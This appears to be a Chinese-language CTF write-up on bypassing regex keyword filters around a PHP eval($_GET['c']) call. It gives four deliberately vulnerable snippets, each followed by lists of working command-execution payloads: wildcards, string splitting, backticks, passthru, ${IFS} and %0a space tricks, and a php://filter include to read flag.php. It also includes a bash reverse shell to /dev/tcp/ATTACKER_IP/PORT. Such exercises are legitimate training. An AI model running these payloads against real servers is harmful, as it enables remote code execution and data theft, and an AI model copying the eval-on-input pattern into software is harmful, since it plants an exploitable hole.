1.过滤flag
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}}else{highlight_file(__FILE__);
 
代码审计过滤了"flag"关键词,但限制较弱,容易绕过
?c=system("ls");  // 列出目录
?c=system("cat fla*");  // 使用通配符绕过flag过滤
?c=system("cat fl"."ag.php");
?c=$a="fl";$b="ag";system("cat $a$b.php");
?c=system("cat `echo fl\"ag.php`");  // 使用反引号
?c=echo file_get_contents('fl'.'ag.php');
?c=highlight_file('fl'.'ag.php');
?c=exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'");
 
2.过滤flag/system/php
 <?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}  
代码审计滤掉了flag、system与php。把system函数替换为其他具有类似功能的函数,php可以使用通配符
?c=echo `ls`;
?c=echo `cat fl*`;
payload:?c= echo `tac fl'ag'.p'hp'`;
使用内置函数
?c=print_r(scandir('.'));
?c=var_dump(file('fla*'));
?c=show_source('fla'.'g.php');
字符串拼接或者编码
?c=$a='fl';$b='ag';echo file_get_contents($a.$b.'.php');
?c=readfile('fl'.'ag.php');
?c=highlight_file('fl'.'ag.php'); 
3.过滤flag/system/php|cat|sort|shell|\.|
 <?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
} 
 
代码审计.过滤flag/system/php|cat|sort|shell|\.|
绕过思路使用未过滤的命令执行函数;
?c=passthru($_GET[a]);&a=cat flag.php
?c=echo%09`tac%09f*`;
?c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 
4.常见过滤
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}  
代码审计
代码过滤了flag, system, php, cat, sort, shell, echo
      :., (空格), ', \``, ;, (, :, ", <, =, /`
                   0-9
绕过思路:过滤了空格可以用${IFS}和%0a 代替,分号可以用?>代替 但是过滤了括号之后就不能用带有括号的函数,php中include是可以不带括号的函数
?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php 
 